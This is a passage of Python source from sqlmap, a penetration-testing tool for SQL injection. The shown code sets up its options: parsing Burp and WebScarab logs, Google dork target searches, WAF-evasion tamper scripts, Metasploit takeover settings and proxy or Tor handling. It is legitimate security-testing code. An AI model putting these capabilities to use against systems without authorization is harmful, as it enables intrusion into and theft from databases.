(c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import cookielib import glob import inspect import logging import httplib import os import random import re import socket import string import sys import tempfile import threading import time import urllib2 import urlparse import lib.controller.checks import lib.core.common import lib.core.threads import lib.core.convert import lib.request.connect import lib.utils.search from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import extractRegexResult from lib.core.common import filterStringValue from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType from lib.core.common import getUnicode from lib.core.common import isListLike from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseTargetDirect from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomStr from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage from lib.core.common import UnicodeRawConfigParser from lib.core.common import urldecode from lib.core.convert import base64unpickle from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DUMP_FORMAT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict from lib.core.settings import BURP_REQUEST_REGEX from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT from lib.core.settings import DUMMY_URL from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import SITE from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import VERSION_STRING from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.request.templates import getPageTemplate from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.search import search from lib.utils.purge import purge from thirdparty.colorama.initialise import init as coloramainit from thirdparty.keepalive import keepalive from thirdparty.oset.pyoset import oset from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree authHandler = urllib2.BaseHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() proxyHandler = urllib2.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() def _feedTargetsDict(reqFile, addedTargetUrls): """ Parses web scarab and burp logs and adds results to the target URL list """ def _parseWebScarabLog(content): """ Parses web scarab logs (POST method not supported) """ reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) if not method or not url: logger.debug("not a valid WebScarab log data") continue if method.upper() == HTTPMETHOD.POST: warnMsg = "POST requests from WebScarab logs aren't supported " warnMsg += "as their body content is stored in separate files. " warnMsg += "Nevertheless you can use -r to load them individually." logger.warning(warnMsg) continue if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: kb.targets.add((url, method, None, cookie, None)) addedTargetUrls.add(url) def _parseBurpLog(content): """ Parses burp logs """ if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() request = request.decode("base64") _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host): request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: request = match if isinstance(match, basestring) else match.group(0) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) if schemePort: scheme = schemePort.group(1) port = schemePort.group(2) else: scheme, port = None, None if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): continue if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): continue getPostReq = False url = None host = None method = None data = None cookie = None params = False newline = None lines = request.split('\n') headers = [] for index in xrange(len(lines)): line = lines[index] if not line.strip() and index == len(lines) - 1: break newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: data = "" params = True elif match: method = match.group(1) url = match.group(2) if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)): params = True getPostReq = True # POST parameters elif data is not None and params: data += "%s%s" % (line, newline) # GET parameters elif "?" in line and "=" in line and ": " not in line: params = True # Headers elif re.search(r"\A\S+:", line): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] splitValue = value.split(":") host = splitValue[0] if len(splitValue) > 1: port = filterStringValue(splitValue[1], "[0-9]") # Avoid to add a static content length header to # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): headers.append((getUnicode(key), getUnicode(value))) if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True data = data.rstrip("\r\n") if data else data if getPostReq and (params or cookie): if not port and isinstance(scheme, basestring) and scheme.lower() == "https": port = "443" elif not scheme and port == "443": scheme = "https" if conf.forceSSL: scheme = "https" port = port or "443" if not host: errMsg = "invalid format of a request file" raise SqlmapSyntaxException, errMsg if not url.startswith("http"): url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) scheme = None port = None if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: kb.targets.add((url, conf.method or method, data, cookie, tuple(headers))) addedTargetUrls.add(url) checkFile(reqFile) try: with openFile(reqFile, "rb") as f: content = f.read() except (IOError, OSError, MemoryError), ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) _parseBurpLog(content) _parseWebScarabLog(content) if not addedTargetUrls: errMsg = "unable to find usable request(s) " errMsg += "in provided file ('%s')" % reqFile raise SqlmapGenericException(errMsg) def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. """ def iterate(node, retVal=None): class DictObject(object): def __init__(self): self.__dict__ = {} def __contains__(self, name): return name in self.__dict__ if retVal is None: retVal = DictObject() for child in node.findall("*"): instance = DictObject() retVal.__dict__[child.tag] = instance if child.attrib: instance.__dict__.update(child.attrib) else: iterate(child, instance) return retVal tree = ElementTree() try: tree.parse(paths.QUERIES_XML) except Exception, ex: errMsg = "something seems to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException, errMsg for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target mode. """ initialTargetsCount = len(kb.targets) addedTargetUrls = set() if not conf.logFile: return debugMsg = "parsing targets list from '%s'" % conf.logFile logger.debug(debugMsg) if not os.path.exists(conf.logFile): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) if os.path.isfile(conf.logFile): _feedTargetsDict(conf.logFile, addedTargetUrls) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) files.sort() for reqFile in files: if not re.search("([\d]+)\-request", reqFile): continue _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) else: errMsg = "the specified list of targets is not a file " errMsg += "nor a directory" raise SqlmapFilePathException(errMsg) updatedTargetsCount = len(kb.targets) if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) infoMsg += "(parameter unique) requests from the " infoMsg += "targets list ready to be tested" logger.info(infoMsg) def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages and retrieved data info in inference mode """ if hasattr(FORMATTER, '_format'): return def format(record): message = FORMATTER._format(record) message = boldifyMessage(message) if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False return message FORMATTER._format = FORMATTER.format FORMATTER.format = format def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied textual file, parses it and saves the information into the knowledge base. """ if not conf.requestFile: return addedTargetUrls = set() conf.requestFile = safeExpandUser(conf.requestFile) infoMsg = "parsing HTTP request from '%s'" % conf.requestFile logger.info(infoMsg) if not os.path.isfile(conf.requestFile): errMsg = "the specified HTTP request file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) _feedTargetsDict(conf.requestFile, addedTargetUrls) def _setCrawler(): if not conf.crawlDepth: return if not any((conf.bulkFile, conf.sitemapUrl)): crawl(conf.url) else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) else: targets = parseSitemap(conf.sitemapUrl) for i in xrange(len(targets)): try: target = targets[i] crawl(target) if conf.verbose in (1, 2): status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except Exception, ex: errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) def _doSearch(): """ This function performs search dorking, parses results and saves the testable hosts into the knowledge base. """ if not conf.googleDork: return kb.data.onlyGETs = None def retrieve(): links = search(conf.googleDork) if not links: errMsg = "unable to find results for your " errMsg += "search dork expression" raise SqlmapGenericException(errMsg) for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link): kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " test = readInput(message, default="Y") kb.data.onlyGETs = test.lower() != 'n' if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links while True: links = retrieve() if kb.targets: infoMsg = "sqlmap got %d results for your " % len(links) infoMsg += "search dork expression, " if len(links) == len(kb.targets): infoMsg += "all " else: infoMsg += "%d " % len(kb.targets) infoMsg += "of them are testable targets" logger.info(infoMsg) break else: message = "sqlmap got %d results " % len(links) message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" test = readInput(message, default="Y") if test[0] in ("n", "N"): raise SqlmapSilentQuitException else: conf.googlePage += 1 def _setBulkMultipleTargets(): if not conf.bulkFile: return conf.bulkFile = safeExpandUser(conf.bulkFile) infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) if not os.path.isfile(conf.bulkFile): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) found = False for line in getFileItems(conf.bulkFile): if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" logger.warn(warnMsg) def _setSitemapTargets(): if not conf.sitemapUrl: return infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl logger.info(infoMsg) found = False for item in parseSitemap(conf.sitemapUrl): if re.match(r"[^ ]+\?(.+)", item, re.I): found = True kb.targets.add((item.strip(), None, None, None, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" logger.warn(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: return if conf.url and not checkConnection(): return infoMsg = "searching for forms" logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): page, _ = Request.queryPage(content=True) findPageForms(page, conf.url, True, True) else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) elif conf.sitemapUrl: targets = parseSitemap(conf.sitemapUrl) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() for i in xrange(len(targets)): try: target = targets[i] page, _, _ = Request.getPage(url=target.strip(), crawling=True, raise404=False) findPageForms(page, target, False, True) if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except KeyboardInterrupt: break except Exception, ex: errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as another user, not the session user """ if not conf.dbmsCred: return debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) match = re.search("^(.+?):(.*?)$", conf.dbmsCred) if not match: errMsg = "DBMS authentication credentials value must be in format " errMsg += "username:password" raise SqlmapSyntaxException(errMsg) conf.dbmsUsername = match.group(1) conf.dbmsPassword = match.group(2) def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return debugMsg = "setting the takeover out-of-band functionality" logger.debug(debugMsg) msfEnvPathExists = False if IS_WIN: try: import win32file except ImportError: errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: def _(key, value): retVal = None try: from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) _ = OpenKey(_, key) retVal = QueryValueEx(_, value)[0] except: logger.debug("unable to identify Metasploit installation path via registry key") return retVal conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location") if conf.msfPath: conf.msfPath = os.path.join(conf.msfPath, "msf3") if conf.osSmb: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a SMB relay attack because " errMsg += "it will need to listen on a user-specified SMB " errMsg += "TCP port for incoming connection attempts" raise SqlmapMissingPrivileges(errMsg) if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False conf.msfPath = path break if msfEnvPathExists: debugMsg = "provided Metasploit Framework path " debugMsg += "'%s' is valid" % conf.msfPath logger.debug(debugMsg) else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath warnMsg += "be that the path does not exists or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" logger.warn(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" logger.warn(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" logger.warn(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") for envPath in envPaths: envPath = envPath.replace(";", "") if any(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False if msfEnvPathExists: infoMsg = "Metasploit Framework has been found " infoMsg += "installed in the '%s' path" % envPath logger.info(infoMsg) conf.msfPath = envPath break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " errMsg += "You can get it at 'http://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) def _setWriteFile(): if not conf.wFile: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) if not os.path.exists(conf.wFile): errMsg = "the provided local file '%s' does not exist" % conf.wFile raise SqlmapFilePathException(errMsg) if not conf.dFile: errMsg = "you did not provide the back-end DBMS absolute path " errMsg += "where you want to write the local file '%s'" % conf.wFile raise SqlmapMissingMandatoryOptionException(errMsg) conf.wFileType = getFileType(conf.wFile) def _setOS(): """ Force the back-end DBMS operating system option. """ if not conf.os: return if conf.os.lower() not in SUPPORTED_OS: errMsg = "you provided an unsupported back-end DBMS operating " errMsg += "system. The supported DBMS operating systems for OS " errMsg += "and file system access are %s. " % ', '.join([o.capitalize() for o in SUPPORTED_OS]) errMsg += "If you do not know the back-end DBMS underlying OS, " errMsg += "do not provide it and sqlmap will fingerprint it for " errMsg += "you." raise SqlmapUnsupportedDBMSException(errMsg) debugMsg = "forcing back-end DBMS operating system to user defined " debugMsg += "value '%s'" % conf.os logger.debug(debugMsg) Backend.setOs(conf.os) def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] if conf.tech and isinstance(conf.tech, basestring): _ = [] for letter in conf.tech.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) errMsg += "user's manual for details" raise SqlmapSyntaxException(errMsg) for validTech, validInt in validTechniques: if letter == validTech[0]: _.append(validInt) break conf.tech = _ def _setDBMS(): """ Force the back-end DBMS option. """ if not conf.dbms: return debugMsg = "forcing back-end DBMS to user defined value" logger.debug(debugMsg) conf.dbms = conf.dbms.lower() regex = re.search("%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) Backend.setVersion(regex.group(2)) if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: conf.dbms = dbms break def _setTamperingFunctions(): """ Loads tampering functions from given script(s) """ if conf.tamper: last_priority = PRIORITY.HIGHEST check_priority = True resolve_priorities = False priorities = [] for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False tfile = tfile.strip() if not tfile: continue elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)): tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile) elif not os.path.exists(tfile): errMsg = "tamper script '%s' does not exist" % tfile raise SqlmapFilePathException(errMsg) elif not tfile.endswith('.py'): errMsg = "tamper script '%s' should have an extension '.py'" % tfile raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(tfile) dirname = os.path.abspath(dirname) infoMsg = "loading tamper script '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, '__init__.py')): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(filename[:-3].encode(sys.getfilesystemencoding())) except (ImportError, SyntaxError), msg: raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg)) priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ for name, function in inspect.getmembers(module, inspect.isfunction): if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": found = True kb.tamperFunctions.append(function) function.func_name = module.__name__ if check_priority and priority > last_priority: message = "it seems that you might have mixed " message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): resolve_priorities = True elif test[0] in ("n", "N"): resolve_priorities = False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException check_priority = False priorities.append((priority, function)) last_priority = priority break elif name == "dependencies": function() if not found: errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg += "in tamper script '%s'" % tfile raise SqlmapGenericException(errMsg) if kb.tamperFunctions and len(kb.tamperFunctions) > 3: warnMsg = "using too many tamper scripts is usually not " warnMsg += "a good idea" logger.warning(warnMsg) if resolve_priorities and priorities: priorities.sort(reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) def _setWafFunctions(): """ Loads WAF/IDS/IPS detecting functions from script(s) """ if conf.identifyWaf: for found in glob.glob(os.path.join(paths.SQLMAP_WAF_PATH, "*.py")): dirname, filename = os.path.split(found) dirname = os.path.abspath(dirname) if filename == "__init__.py": continue debugMsg = "loading WAF script '%s'" % filename[:-3] logger.debug(debugMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: if filename[:-3] in sys.modules: del sys.modules[filename[:-3]] module = __import__(filename[:-3]) except ImportError, msg: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) _ = dict(inspect.getmembers(module)) if "detect" not in _: errMsg = "missing function 'detect(get_page)' " errMsg += "in WAF script '%s'" % found raise SqlmapGenericException(errMsg) else: kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3]))) def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. """ def _getaddrinfo(*args, **kwargs): if args in kb.cache: return kb.cache[args] else: kb.cache[args] = socket._getaddrinfo(*args, **kwargs) return kb.cache[args] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo def _setSocketPreConnect(): """ Makes a pre-connect version of socket.connect """ if conf.disablePrecon: return def _(): while kb.threadContinue and not conf.disablePrecon: try: for key in socket._ready: if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE: family, type, proto, address = key s = socket.socket(family, type, proto) s._connect(address) with kb.locks.socket: socket._ready[key].append(s._sock) except KeyboardInterrupt: break except: pass finally: time.sleep(0.01) def connect(self, address): found = False key = (self.family, self.type, self.proto, address) with kb.locks.socket: if key not in socket._ready: socket._ready[key] = [] if len(socket._ready[key]) > 0: self._sock = socket._ready[key].pop(0) found = True if not found: self._connect(address) if not hasattr(socket.socket, "_connect"): socket._ready = {} socket.socket._connect = socket.socket.connect socket.socket.connect = connect thread = threading.Thread(target=_) thread.start() def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ global proxyHandler for _ in ("http", "https"): if hasattr(proxyHandler, "%s_open" % _): delattr(proxyHandler, "%s_open" % _) if conf.proxyList is not None: if not conf.proxyList: errMsg = "list of usable proxies is exhausted" raise SqlmapNoneDataException(errMsg) conf.proxy = conf.proxyList[0] conf.proxyList = conf.proxyList[1:] infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy logger.info(infoMsg) elif not conf.proxy: if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: proxyHandler.proxies = {} if conf.proxy: debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" logger.debug(debugMsg) try: _ = urlparse.urlsplit(conf.proxy) except Exception, ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException, errMsg hostnamePort = _.netloc.split(":") scheme = _.scheme.upper() hostname = hostnamePort[0] port = None username = None password = None if len(hostnamePort) == 2: try: port = int(hostnamePort[1]) except: pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) if conf.proxyCred: _ = re.search("^(.*?):(.*?)$", conf.proxyCred) if not _: errMsg = "proxy authentication credentials " errMsg += "value must be in format username:password" raise SqlmapSyntaxException(errMsg) else: username = _.group(1) password = _.group(2) if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): proxyHandler.proxies = {} socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(urllib2) else: socks.unwrapmodule(urllib2) if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection proxyString = "%s@" % conf.proxyCred else: proxyString = "" proxyString += "%s:%d" % (hostname, port) proxyHandler.proxies = {"http": proxyString, "https": proxyString} proxyHandler.__init__(proxyHandler.proxies) debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) handlers = filter(None, [proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: conf.cj = cookielib.CookieJar() else: conf.cj = cookielib.MozillaCookieJar() resetCookieJar(conf.cj) handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html if conf.keepAlive: warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " warnMsg += "been disabled because of its incompatibility " if conf.proxy: warnMsg += "with HTTP(s) proxy" logger.warn(warnMsg) elif conf.authType: warnMsg += "with authentication methods" logger.warn(warnMsg) else: handlers.append(keepAliveHandler) opener = urllib2.build_opener(*handlers) urllib2.install_opener(opener) def _setSafeVisit(): """ Check and set the safe visit options. """ if not any ((conf.safeUrl, conf.safeReqFile)): return if conf.safeReqFile: checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw[:raw.find('\n')]) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} for line in raw[raw.find('\n') + 1:].split('\n'): line = line.strip() if line and 